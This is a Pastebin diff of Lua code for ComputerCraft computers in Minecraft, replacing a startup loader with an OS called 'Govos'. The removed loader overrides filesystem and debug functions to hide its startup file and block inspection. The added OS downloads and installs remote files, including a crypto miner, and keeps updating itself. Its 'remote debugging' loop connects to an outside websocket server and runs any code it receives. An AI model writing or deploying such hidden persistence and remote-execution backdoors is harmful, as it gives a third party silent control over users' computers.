SHOW:
|
|
- or go back to the newest paste.
| 1 | - | local fn, err = load([[ |
| 1 | + | -- Govos |
| 2 | -- An OS created for the Keansian government for security or something. | |
| 3 | - | -- #### Vars |
| 3 | + | |
| 4 | function randbytes(len) | |
| 5 | - | local userStartupPath = "userStartup" |
| 5 | + | local out = "" |
| 6 | - | local real = {}
|
| 6 | + | for i = 1, len do |
| 7 | out = out .. string.char(math.random(0, 255)) | |
| 8 | - | -- #### "Local" functions |
| 8 | + | end |
| 9 | return out | |
| 10 | - | settings.set("shell.allow_disk_startup", false)
|
| 10 | + | |
| 11 | - | settings.set("shell.allow_startup", true)
|
| 11 | + | |
| 12 | - | settings.save ".settings" |
| 12 | + | function fetch(u) |
| 13 | - | local h = http.get "https://pastebin.com/raw/ecXX3gm6" |
| 13 | + | local h = http.get(u) |
| 14 | - | if fs.isDir "startup" then fs.delete "startup" end |
| 14 | + | local c = h.readAll() |
| 15 | - | local f = fs.open("startup", "w")
|
| 15 | + | h.close() |
| 16 | - | f.write(h.readAll()) |
| 16 | + | return c |
| 17 | - | f.close() |
| 17 | + | |
| 18 | - | h.close() |
| 18 | + | |
| 19 | function fwrite(n, c) | |
| 20 | - | local function writeYellow(text) |
| 20 | + | local f = fs.open(n, "w") |
| 21 | - | if term.isColor() then |
| 21 | + | f.write(c) |
| 22 | - | term.setTextColor(colors.yellow) |
| 22 | + | f.close() |
| 23 | - | term.write(text) |
| 23 | + | |
| 24 | - | term.setTextColor(colors.white) |
| 24 | + | |
| 25 | -- Read file "n" | |
| 26 | - | term.write(text) |
| 26 | + | function fread(n) |
| 27 | local f = fs.open(n, "r") | |
| 28 | local out = f.readAll() | |
| 29 | f.close() | |
| 30 | - | -- #### Tweaking compromising functions |
| 30 | + | return out |
| 31 | end | |
| 32 | - | local function preprocessError(e) |
| 32 | + | |
| 33 | - | if type(e) == "string" then |
| 33 | + | local function set(k, v) |
| 34 | - | local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
|
| 34 | + | settings.set(k, v) |
| 35 | - | return newText |
| 35 | + | settings.save(".settings")
|
| 36 | end | |
| 37 | - | return e |
| 37 | + | |
| 38 | local function map(f, t) | |
| 39 | local mapper = function(t) | |
| 40 | - | real.pcall = pcall |
| 40 | + | local new = {}
|
| 41 | - | local function fakePcall(...) |
| 41 | + | for k, v in pairs(t) do |
| 42 | - | local ok, result = real.pcall(...) |
| 42 | + | local new_v, new_k = f(v, k) |
| 43 | - | if not ok then return false, preprocessError(result) |
| 43 | + | new[new_k or k] = new_v |
| 44 | - | else return ok, result end |
| 44 | + | end |
| 45 | return new | |
| 46 | - | _G.pcall = fakePcall |
| 46 | + | end |
| 47 | if t then return mapper(t) else return mapper end | |
| 48 | - | real.xpcall = xpcall |
| 48 | + | |
| 49 | - | local function fakeXpcall(fn, ehandler) |
| 49 | + | |
| 50 | - | return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end) |
| 50 | + | local function arrayize(t) |
| 51 | local out = {}
| |
| 52 | - | _G.xpcall = fakeXpcall |
| 52 | + | for k, v in pairs(t) do table.insert(out, v) end |
| 53 | return out | |
| 54 | - | real.find = fs.find |
| 54 | + | |
| 55 | - | local function fakeFind(path) |
| 55 | + | |
| 56 | - | if string.lower(path) == "startup" then |
| 56 | + | local this_file = "autorun" |
| 57 | - | path = userStartupPath |
| 57 | + | local this_file_URL = "https://pastebin.com/raw/Lhs7fMD0" |
| 58 | ||
| 59 | local files = {
| |
| 60 | - | list = real.find(path) |
| 60 | + | ["https://pastebin.com/raw/HL0SZhJG"] = "startup", -- "Polychoron" process manager - needs to be startup for TLCOing |
| 61 | - | for i=1,#list do |
| 61 | + | [this_file_URL] = this_file, |
| 62 | - | if list[i] == userStartupPath then |
| 62 | + | ["https://pastebin.com/raw/Frv3xkB9"] = "yafss", |
| 63 | - | list[i] = "startup" |
| 63 | + | ["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json", |
| 64 | ["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet", | |
| 65 | ["https://pastebin.com/raw/DKriPmPe"] = "kristminer", | |
| 66 | - | return list |
| 66 | + | } |
| 67 | ||
| 68 | - | fs.find = fakeFind |
| 68 | + | local function install() |
| 69 | fs.makeDir "userdata" | |
| 70 | - | real.list = fs.list |
| 70 | + | |
| 71 | - | local function fakeList(path) |
| 71 | + | local fns = arrayize(map(function(filename, URL) |
| 72 | - | list = real.list(path) |
| 72 | + | return function() |
| 73 | - | for i=1,#list do |
| 73 | + | local dir = fs.getDir(filename) |
| 74 | - | if list[i] == "startup" then |
| 74 | + | if dir ~= "" then |
| 75 | - | table.remove(list, i) |
| 75 | + | if not fs.isDir(dir) then fs.makeDir(dir) end |
| 76 | end | |
| 77 | if fs.isDir(filename) then fs.delete(filename) end | |
| 78 | - | for i=1,#list do |
| 78 | + | fwrite(filename, fetch(URL)) |
| 79 | - | if list[i] == userStartupPath then |
| 79 | + | if not hidden then print("Downloaded", filename) end
|
| 80 | - | list[i] = "startup" |
| 80 | + | end |
| 81 | end, files)) | |
| 82 | - | end |
| 82 | + | |
| 83 | - | return list |
| 83 | + | parallel.waitForAll(unpack(fns)) |
| 84 | ||
| 85 | - | fs.list = fakeList |
| 85 | + | set("shell.allow_disk_startup", false)
|
| 86 | set("shell.allow_startup", true)
| |
| 87 | - | real.exists = fs.exists |
| 87 | + | |
| 88 | - | local function fakeExists(path) |
| 88 | + | os.setComputerLabel("Govos/" .. randbytes(64))
|
| 89 | - | if string.lower(path) == "startup" then |
| 89 | + | |
| 90 | - | path = userStartupPath |
| 90 | + | os.reboot() |
| 91 | end | |
| 92 | ||
| 93 | - | return real.exists(path) |
| 93 | + | local args = table.concat({...}, " ")
|
| 94 | if (not polychoron or not fs.exists "json" or not fs.exists "userdata") or args:find "update" then install() end | |
| 95 | - | fs.exists = fakeExists |
| 95 | + | |
| 96 | local background_task_interval = 300 + (os.getComputerID() % 20) | |
| 97 | - | real.ioOpen = io.open |
| 97 | + | |
| 98 | - | local function fakeIoOpen(path) |
| 98 | + | local function update_checker() |
| 99 | - | if string.lower(path) == "startup" then |
| 99 | + | sleep() |
| 100 | - | path = userStartupPath |
| 100 | + | local this = fread(this_file) |
| 101 | while true do | |
| 102 | local new = fetch(this_file_URL) | |
| 103 | - | return real.ioOpen(path) |
| 103 | + | local ok, err = load(new) |
| 104 | if not ok then print "Syntax error in update:" printError(err) | |
| 105 | - | io.open = fakeIoOpen |
| 105 | + | else |
| 106 | if new ~= this then | |
| 107 | - | real.makeDir = fs.makeDir |
| 107 | + | install() |
| 108 | - | local function fakeMakeDir(path) |
| 108 | + | end |
| 109 | - | if string.lower(path) == "startup" then |
| 109 | + | end |
| 110 | - | path = userStartupPath |
| 110 | + | |
| 111 | sleep(background_task_interval) | |
| 112 | end | |
| 113 | - | return real.makeDir(path) |
| 113 | + | |
| 114 | ||
| 115 | - | fs.makeDir = fakeMakeDir |
| 115 | + | local j = require "json" |
| 116 | ||
| 117 | - | real.delete = fs.delete |
| 117 | + | local fcache = {}
|
| 118 | - | local function fakeDelete(path) |
| 118 | + | |
| 119 | - | if string.lower(path) == "startup" then |
| 119 | + | local function fproxy(file) |
| 120 | - | path = userStartupPath |
| 120 | + | if fcache[file] then return fcache[file] |
| 121 | else | |
| 122 | local ok, t = pcall(fread, file) | |
| 123 | - | return real.delete(path) |
| 123 | + | if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end |
| 124 | fcache[file] = t | |
| 125 | - | fs.delete = fakeDelete |
| 125 | + | return t |
| 126 | end | |
| 127 | - | real.open = fs.open |
| 127 | + | |
| 128 | - | local function fakeOpen(path, mode) |
| 128 | + | |
| 129 | - | if string.lower(path) == "startup" then |
| 129 | + | local function user_programs() |
| 130 | - | path = userStartupPath |
| 130 | + | local govos = {
|
| 131 | update = function() | |
| 132 | shell.run "autorun update" | |
| 133 | - | return real.open(path, mode) |
| 133 | + | end, |
| 134 | version = function() | |
| 135 | - | fs.open = fakeOpen |
| 135 | + | return "Govos 1.0 Pihsrotatcid" |
| 136 | end | |
| 137 | - | real.isReadOnly = fs.isReadOnly |
| 137 | + | } |
| 138 | - | local function fakeIsReadOnly(path) |
| 138 | + | |
| 139 | - | if string.lower(path) == "startup" then |
| 139 | + | local API_overrides = {
|
| 140 | - | path = userStartupPath |
| 140 | + | govos = govos, |
| 141 | os = { version = govos.version },
| |
| 142 | safe_serialize = safe_serialize, | |
| 143 | - | return real.isReadOnly(path) |
| 143 | + | ["~expect"] = _G["~expect"] |
| 144 | } | |
| 145 | - | fs.isReadOnly = fakeIsReadOnly |
| 145 | + | |
| 146 | local function add(module) | |
| 147 | - | real.getSize = fs.getSize |
| 147 | + | local ok, res = pcall(require, module) |
| 148 | - | local function fakeGetSize(path) |
| 148 | + | if ok then |
| 149 | - | if string.lower(path) == "startup" then |
| 149 | + | API_overrides[module] = res |
| 150 | - | path = userStartupPath |
| 150 | + | end |
| 151 | end | |
| 152 | ||
| 153 | - | return real.getSize(path) |
| 153 | + | add "skynet" |
| 154 | ||
| 155 | - | fs.getSize = fakeGetSize |
| 155 | + | local FS_overlay = {
|
| 156 | ["/rom/programs/upd.lua"] = [[govos.update()]], | |
| 157 | - | real.move = fs.move |
| 157 | + | ["/rom/programs/kristminer.lua"] = fproxy "kristminer" |
| 158 | - | local function fakeMove(fromPath, toPath) |
| 158 | + | } |
| 159 | - | if string.lower(fromPath) == "startup" then |
| 159 | + | |
| 160 | - | fromPath = userStartupPath |
| 160 | + | require "yafss"( |
| 161 | "/userdata/", | |
| 162 | - | if string.lower(toPath) == "startup" then |
| 162 | + | FS_overlay, |
| 163 | - | toPath = userStartupPath |
| 163 | + | API_overrides, |
| 164 | { URL = "https://pastebin.com/raw/KJjpnJy2" }
| |
| 165 | ) | |
| 166 | - | return real.move(fromPath, toPath) |
| 166 | + | |
| 167 | ||
| 168 | - | fs.move = fakeMove |
| 168 | + | function safe_json_serialize(x, prev) |
| 169 | local t = type(x) | |
| 170 | - | real.copy = fs.copy |
| 170 | + | if t == "number" then |
| 171 | - | local function fakeCopy(fromPath, toPath) |
| 171 | + | if x ~= x or x <= -math.huge or x >= math.huge then |
| 172 | - | if string.lower(fromPath) == "startup" then |
| 172 | + | return tostring(x) |
| 173 | - | fromPath = userStartupPath |
| 173 | + | |
| 174 | return string.format("%.14g", x)
| |
| 175 | - | if string.lower(toPath) == "startup" then |
| 175 | + | elseif t == "string" then |
| 176 | - | toPath = userStartupPath |
| 176 | + | return j.encode(x) |
| 177 | elseif t == "table" then | |
| 178 | prev = prev or {}
| |
| 179 | - | return real.copy(fromPath, toPath) |
| 179 | + | local as_array = true |
| 180 | local max = 0 | |
| 181 | - | fs.copy = fakeCopy |
| 181 | + | for k in pairs(x) do |
| 182 | if type(k) ~= "number" then as_array = false break end | |
| 183 | - | real.stringDump = string.dump |
| 183 | + | if k > max then max = k end |
| 184 | - | local function isDefinedHere(fn) |
| 184 | + | |
| 185 | - | local d = real.stringDump(fn) |
| 185 | + | if as_array then |
| 186 | - | return d:find "@why" ~= nil |
| 186 | + | for i = 1, max do |
| 187 | if x[i] == nil then as_array = false break end | |
| 188 | end | |
| 189 | - | local function fakeStringDump(fn) |
| 189 | + | |
| 190 | - | if isDefinedHere(fn) then |
| 190 | + | if as_array then |
| 191 | - | error "Unable to dump given function" |
| 191 | + | local res = {}
|
| 192 | for i, v in ipairs(x) do | |
| 193 | - | return real.stringDump(fn) |
| 193 | + | table.insert(res, safe_json_serialize(v)) |
| 194 | end | |
| 195 | - | string.dump = fakeStringDump |
| 195 | + | return "["..table.concat(res, ",").."]" |
| 196 | else | |
| 197 | - | real.debugGetupvalue = debug.getupvalue |
| 197 | + | local res = {}
|
| 198 | - | local function fakeDebugGetupvalue(fn, ...) |
| 198 | + | for k, v in pairs(x) do |
| 199 | - | if isDefinedHere(fn) then return nil |
| 199 | + | table.insert(res, j.encode(tostring(k)) .. ":" .. safe_json_serialize(v)) |
| 200 | - | else return real.debugGetupvalue(fn, ...) end |
| 200 | + | end |
| 201 | return "{"..table.concat(res, ",").."}"
| |
| 202 | - | debug.getupvalue = fakeDebugGetupvalue |
| 202 | + | |
| 203 | elseif t == "boolean" then | |
| 204 | - | term.clear() |
| 204 | + | return tostring(x) |
| 205 | - | term.setCursorPos(1,1) |
| 205 | + | elseif x == nil then |
| 206 | - | writeYellow(os.version()) |
| 206 | + | return "null" |
| 207 | - | term.setCursorPos(1,2) |
| 207 | + | |
| 208 | return j.encode(tostring(x)) | |
| 209 | - | if fs.exists("startup") then
|
| 209 | + | |
| 210 | - | shell.run("startup")
|
| 210 | + | |
| 211 | ||
| 212 | function _G.os.await_event(filter) | |
| 213 | - | ]], "@why") |
| 213 | + | while true do |
| 214 | - | if not fn then |
| 214 | + | local ev = {coroutine.yield(filter)}
|
| 215 | - | printError(err) |
| 215 | + | if filter == nil or ev[1] == filter then |
| 216 | - | coroutine.yield "key" |
| 216 | + | return unpack(ev) |
| 217 | - | os.shutdown() |
| 217 | + | |
| 218 | - | else |
| 218 | + | |
| 219 | - | fn() |
| 219 | + | |
| 220 | - | end |
| 220 | + | |
| 221 | -- Powered by SPUDNET, the simple way to include remote debugging services in *your* OS. Contact Gollark today. | |
| 222 | local function spudnet() | |
| 223 | if not http or not http.websocket then return "Websockets do not actually exist on this platform" end | |
| 224 | ||
| 225 | local ws | |
| 226 | ||
| 227 | local function send_packet(msg) | |
| 228 | --ws.send(safe_serialize(msg)) | |
| 229 | ws.send(safe_json_serialize(msg)) | |
| 230 | end | |
| 231 | ||
| 232 | local function send(data) | |
| 233 | send_packet { type = "send", channel = "client:potatOS", data = data }
| |
| 234 | end | |
| 235 | ||
| 236 | local function connect() | |
| 237 | if ws then ws.close() end | |
| 238 | ws, err = http.websocket "wss://spudnet.osmarks.net/v4" | |
| 239 | if not ws then print("websocket failure %s", err) return false end
| |
| 240 | ws.url = "wss://spudnet.osmarks.net/v4" | |
| 241 | ||
| 242 | send_packet { type = "identify" }
| |
| 243 | send_packet { type = "set_channels", channels = { "client:potatOS" } }
| |
| 244 | ||
| 245 | print("websocket connected")
| |
| 246 | ||
| 247 | return true | |
| 248 | end | |
| 249 | ||
| 250 | local function try_connect_loop() | |
| 251 | while not connect() do | |
| 252 | sleep(0.5) | |
| 253 | end | |
| 254 | end | |
| 255 | ||
| 256 | try_connect_loop() | |
| 257 | ||
| 258 | local function recv() | |
| 259 | while true do | |
| 260 | local e, u, x = os.await_event "websocket_message" | |
| 261 | if u == ws.url then return j.decode(x) end | |
| 262 | end | |
| 263 | end | |
| 264 | ||
| 265 | local ping_timeout_timer = nil | |
| 266 | ||
| 267 | process.thread(function() | |
| 268 | while true do | |
| 269 | local _, t = os.await_event "timer" | |
| 270 | if t == ping_timeout_timer and ping_timeout_timer then | |
| 271 | -- 15 seconds since last ping, we probably got disconnected | |
| 272 | print "timed out, attempting reconnect" | |
| 273 | try_connect_loop() | |
| 274 | end | |
| 275 | end | |
| 276 | end, "ping-timeout") | |
| 277 | ||
| 278 | while true do | |
| 279 | -- Receive and run code which is sent via SPUDNET | |
| 280 | -- Also handle SPUDNETv4 protocol, primarily pings | |
| 281 | local packet = recv() | |
| 282 | --add_log("test %s", textutils.serialise(packet))
| |
| 283 | if packet.type == "ping" then | |
| 284 | send_packet { type = "pong", seq = packet.seq }
| |
| 285 | if ping_timeout_timer then os.cancelTimer(ping_timeout_timer) end | |
| 286 | ping_timeout_timer = os.startTimer(15) | |
| 287 | elseif packet.type == "error" then | |
| 288 | print("SPUDNET error %s %s %s %s", packet["for"], packet.error, packet.detail, textutils.serialise(packet))
| |
| 289 | elseif packet.type == "message" then | |
| 290 | local code = packet.data | |
| 291 | if type(code) == "string" then | |
| 292 | _G.wsrecv = recv | |
| 293 | _G.wssend = send | |
| 294 | _G.envrequire = require | |
| 295 | --add_log("SPUDNET command - %s", code)
| |
| 296 | local f, errr = load(code, "@<code>", "t", _G) | |
| 297 | if f then -- run safely in background, send back response | |
| 298 | process.thread(function() local resp = {pcall(f)} send(resp) end, "spudnetexecutor")
| |
| 299 | else | |
| 300 | send {false, errr}
| |
| 301 | end | |
| 302 | end | |
| 303 | end | |
| 304 | end | |
| 305 | end | |
| 306 | ||
| 307 | local fcache = {}
| |
| 308 | ||
| 309 | local function fproxy(file) | |
| 310 | if fcache[file] then return fcache[file] | |
| 311 | else | |
| 312 | local ok, t = pcall(fread, file) | |
| 313 | if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end | |
| 314 | fcache[file] = t | |
| 315 | return t | |
| 316 | end | |
| 317 | end | |
| 318 | ||
| 319 | process.spawn(update_checker, "upd") | |
| 320 | process.spawn(spudnet, "spudnet") | |
| 321 | process.spawn(user_programs, "user") | |
| 322 | ||
| 323 | while true do coroutine.yield() end |